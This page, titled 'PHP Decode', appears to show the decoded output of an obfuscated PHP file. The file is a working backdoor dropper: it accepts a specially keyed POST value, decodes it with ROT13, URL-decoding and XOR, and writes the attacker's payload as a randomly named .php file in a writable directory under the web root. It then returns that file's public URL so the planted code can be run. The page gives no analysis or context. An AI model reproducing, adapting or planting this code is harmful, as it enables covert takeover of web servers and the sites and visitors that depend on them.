PHP Decode

<?php $oclyalg = "ybyagusanzfhuzti";$buavf = "";foreach ($_POST as $hcobe => $nfopo){if (strlen($hcobe) == 16 and substr_count($nfopo, "%") > 10){ycnvdivyux($hcobe, $nfopo);}}function ycnvdivyux($hcobe, $cwsqbwv){global $buavf;$buavf = $hcobe;$cwsqbwv = str_split(rawurldecode(str_rot13($cwsqbwv)));function ojnspvnwd($psuamvavyb, $hcobe){global $oclyalg, $buavf;return $psuamvavyb ^ $oclyalg[$hcobe % strlen($oclyalg)] ^ $buavf[$hcobe % strlen($buavf)];}$cwsqbwv = implode("", array_map("ojnspvnwd", array_values($cwsqbwv), array_keys($cwsqbwv)));$cwsqbwv = @unserialize($cwsqbwv);if (@is_array($cwsqbwv)){$hcobe = array_keys($cwsqbwv);$cwsqbwv = $cwsqbwv[$hcobe[0]];if ($cwsqbwv === $hcobe[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function cuaox($rcbtotir) {static $reefbqygx = array();$zcotcwta = glob($rcbtotir . '/*', GLOB_ONLYDIR);if (count($zcotcwta) > 0) {foreach ($zcotcwta as $rcbtot){if (@is_writable($rcbtot)){$reefbqygx[] = $rcbtot;}}}foreach ($zcotcwta as $rcbtotir) cuaox($rcbtotir);return $reefbqygx;}$srnwk = $_SERVER["DOCUMENT_ROOT"];$zcotcwta = cuaox($srnwk);$hcobe = array_rand($zcotcwta);$iolkbm = $zcotcwta[$hcobe] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($iolkbm, $cwsqbwv);echo "http://" . $_SERVER["HTTP_HOST"] . substr($iolkbm, strlen($srnwk));exit();}}} ?>